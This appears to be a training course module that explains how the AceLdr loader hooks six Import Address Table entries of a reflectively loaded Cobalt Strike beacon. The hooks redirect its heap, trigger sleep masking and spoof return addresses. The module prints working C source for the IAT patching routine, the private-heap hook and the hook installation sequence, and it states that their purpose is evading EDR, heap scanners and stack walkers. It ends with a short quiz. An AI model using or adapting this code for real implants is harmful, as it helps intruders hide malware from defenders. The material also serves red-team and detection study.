Module 6: IAT Hooking & Heap Redirection

Intercepting API calls to control beacon behavior from within

Intermediate

Why Hook the IAT?

Core Idea

After AceLdr reflectively loads the Cobalt Strike beacon into memory, the beacon's Import Address Table (IAT) contains pointers to Windows API functions. By overwriting specific IAT entries with pointers to our own hook functions, we gain control over every call the beacon makes to those APIs — without patching any code bytes in ntdll or kernel32.

This technique is critical because it lets AceLdr:

IAT Hooking vs. Inline Hooking

Unlike inline hooks (which patch the first bytes of a target function with a JMP), IAT hooks modify pointers in the caller's import table. This is stealthier because no executable code is modified — the target DLL remains pristine. The trade-off is that IAT hooks only intercept calls made through the import table of the specific module you patch.

The Six IAT Hooks

AceLdr installs exactly 6 hooks in the beacon's IAT. Each hook serves a distinct evasion purpose:

Original API Hook Function Purpose
Sleep Sleep_Hook Activates FOLIAGE sleep masking (encrypt heap, mask thread context)
GetProcessHeap GetProcessHeap_Hook Returns AceLdr's private heap instead of the process default heap
HeapAlloc HeapAlloc_Hook Spoofs the return address before calling the real HeapAlloc
RtlAllocateHeap RtlAllocateHeap_Hook Spoofs the return address before calling the real RtlAllocateHeap
InternetConnectA InternetConnectA_Hook Spoofs the return address before calling the real InternetConnectA
NtWaitForSingleObject NtWaitForSingleObject_Hook Spoofs the return address before calling the real NtWaitForSingleObject

Pattern Recognition

Notice the pattern: 4 out of 6 hooks exist solely to spoof return addresses. The remaining two serve specialized purposes — Sleep_Hook triggers the full FOLIAGE sleep chain, and GetProcessHeap_Hook redirects all beacon heap allocations to a private, controlled heap.

LdrHookImport — The Hook Installation Engine

The workhorse function that performs the actual IAT patching lives in util.c. It walks the beacon's import directory, finds the matching DLL and function, and overwrites the IAT entry:

C — util.c
VOID LdrHookImport(
    PVOID  Image,       // Base address of the loaded beacon
    ULONG  ImpHash,     // Hash of the DLL name (e.g., hash of "kernel32.dll")
    ULONG  FuncHash,    // Hash of the function name (e.g., hash of "Sleep")
    PVOID  HookFunc     // Pointer to our hook function
) {
    PIMAGE_DOS_HEADER       Dos  = Image;
    PIMAGE_NT_HEADERS       Nt   = (PVOID)((UINT_PTR)Image + Dos->e_lfanew);
    PIMAGE_DATA_DIRECTORY   Dir  = &Nt->OptionalHeader.DataDirectory[1]; // IMPORT dir

    // Walk each IMAGE_IMPORT_DESCRIPTOR
    for (PIMAGE_IMPORT_DESCRIPTOR Imp = (PVOID)((UINT_PTR)Image + Dir->VirtualAddress);
         Imp->Name != 0;
         Imp++) {

        // Check if this descriptor matches our target DLL
        PCHAR DllName = (PCHAR)((UINT_PTR)Image + Imp->Name);
        if (HashString(DllName) != ImpHash)
            continue;

        // Walk the Original First Thunk (names) and First Thunk (addresses)
        PIMAGE_THUNK_DATA Oft = (PVOID)((UINT_PTR)Image + Imp->OriginalFirstThunk);
        PIMAGE_THUNK_DATA Ft  = (PVOID)((UINT_PTR)Image + Imp->FirstThunk);

        for (; Oft->u1.AddressOfData != 0; Oft++, Ft++) {
            // Skip ordinal imports
            if (IMAGE_SNAP_BY_ORDINAL(Oft->u1.Ordinal))
                continue;

            PIMAGE_IMPORT_BY_NAME Ibn = (PVOID)((UINT_PTR)Image + Oft->u1.AddressOfData);

            // If function name hash matches, overwrite the IAT entry
            if (HashString(Ibn->Name) == FuncHash) {
                Ft->u1.Function = (UINT_PTR)HookFunc;
                return;
            }
        }
    }
}

Step-by-Step Walkthrough

  1. Parse PE headers — Navigate from the DOS header to the NT headers, then to the Import Data Directory (index 1).
  2. Walk import descriptors — Each descriptor represents one DLL that the beacon imports from. Compare each DLL name's hash against ImpHash.
  3. Walk thunk arrays — The OriginalFirstThunk (OFT) array holds function name RVAs; the FirstThunk (FT) array holds the actual resolved function addresses (the IAT).
  4. Match & overwrite — When the function name hash matches FuncHash, overwrite Ft->u1.Function with the hook pointer. The beacon will now call our hook instead of the real API.

No VirtualProtect Needed

During reflective loading, AceLdr has already set the IAT section to PAGE_READWRITE. Since we control the memory permissions of the loaded beacon, there's no need to call VirtualProtect before overwriting — a step that would generate suspicious API call patterns visible to EDR.

GetProcessHeap_Hook — Heap Redirection

This is one of the simplest yet most impactful hooks. The entire implementation is a single line:

C — hooks/heap.c
HANDLE WINAPI GetProcessHeap_Hook(VOID) {
    return C_PTR(STUB.Heap);  // OFFSET macro resolves STUB.Heap at runtime
}

What This Achieves

Heap Redirection Flow

Beacon calls
GetProcessHeap()
IAT redirects to
GetProcessHeap_Hook
Returns
STUB.Heap
Beacon calls
HeapAlloc(heap, ...)
Allocates on
private heap
Invisible to
heap scanners

STUB.Heap is a private heap created earlier by AceLdr via RtlCreateHeap. By returning this handle instead of the process's default heap, every subsequent HeapAlloc/HeapFree call the beacon makes operates on our private heap. This has two benefits:

The OFFSET Macro

Because AceLdr is position-independent code (PIC), it cannot use global variables directly. The C_PTR(STUB.Heap) pattern (and the OFFSET macro it typically wraps) calculates the runtime address of STUB.Heap relative to the current instruction pointer. This ensures the code works regardless of where it's loaded in memory.

installHooks — Wiring It All Together

After the beacon is reflectively loaded and its imports resolved, installHooks in ace.c calls LdrHookImport six times — once for each hook:

C — ace.c
VOID installHooks(PVOID BeaconBase) {
    // Hook Sleep -> Sleep_Hook (FOLIAGE sleep masking)
    LdrHookImport(BeaconBase,
        HASH_KERNEL32,    // DLL hash: "kernel32.dll"
        HASH_SLEEP,       // Function hash: "Sleep"
        C_PTR(Sleep_Hook));

    // Hook GetProcessHeap -> GetProcessHeap_Hook (private heap)
    LdrHookImport(BeaconBase,
        HASH_KERNEL32,
        HASH_GETPROCESSHEAP,
        C_PTR(GetProcessHeap_Hook));

    // Hook HeapAlloc -> HeapAlloc_Hook (return addr spoofing)
    LdrHookImport(BeaconBase,
        HASH_KERNEL32,
        HASH_HEAPALLOC,
        C_PTR(HeapAlloc_Hook));

    // Hook RtlAllocateHeap -> RtlAllocateHeap_Hook (return addr spoofing)
    LdrHookImport(BeaconBase,
        HASH_NTDLL,       // DLL hash: "ntdll.dll"
        HASH_RTLALLOCATEHEAP,
        C_PTR(RtlAllocateHeap_Hook));

    // Hook InternetConnectA -> InternetConnectA_Hook (return addr spoofing)
    LdrHookImport(BeaconBase,
        HASH_WININET,     // DLL hash: "wininet.dll"
        HASH_INTERNETCONNECTA,
        C_PTR(InternetConnectA_Hook));

    // Hook NtWaitForSingleObject -> NtWaitForSingleObject_Hook (return addr spoofing)
    LdrHookImport(BeaconBase,
        HASH_NTDLL,
        HASH_NTWAITFORSINGLEOBJECT,
        C_PTR(NtWaitForSingleObject_Hook));
}

The PTR_TO_HOOK Macro

In AceLdr's actual source code, some of these hook installations use the PTR_TO_HOOK macro for brevity:

C — macro definition
#define PTR_TO_HOOK(base, dll_hash, func_hash, hook_fn) \
    LdrHookImport(base, dll_hash, func_hash, C_PTR(hook_fn))

This macro simply wraps LdrHookImport with the C_PTR wrapper on the hook function. It reduces visual noise when installing multiple hooks in sequence, but the underlying mechanism is identical.

Installation Order

The hooks are installed after reflective loading resolves all legitimate imports but before the beacon's entry point (DllMain) is called. This ensures that from the beacon's very first instruction, all API calls are already intercepted.

How IAT Hooking Fits the Big Picture

AceLdr Hook Architecture

Reflective
Load
Install 6
IAT Hooks
Call Beacon
DllMain
Beacon Runs
(all calls hooked)
Sleep → FOLIAGE chain
|
Heap → Private heap
|
4 APIs → Spoofed returns

The IAT hooks are the control plane of AceLdr's evasion strategy. Without them, the beacon would use the default heap (visible to scanners), sleep without encryption (visible to memory scanners), and make API calls with legitimate return addresses pointing back into suspicious unbacked memory (visible to stack walkers).

Defense-in-Depth Through Hooks

Knowledge Check

Module 6 Quiz

1. How many IAT entries does AceLdr overwrite in the beacon's import table?

AceLdr hooks exactly 6 IAT entries. Each serves a specific evasion purpose: Sleep triggers FOLIAGE, GetProcessHeap redirects to a private heap, and the remaining 4 spoof return addresses on sensitive API calls.

2. What does GetProcessHeap_Hook return?

GetProcessHeap_Hook is a single-line function that returns STUB.Heap — a private heap created by AceLdr via RtlCreateHeap. This redirects all beacon allocations to a heap that is invisible to tools scanning the process's default heap.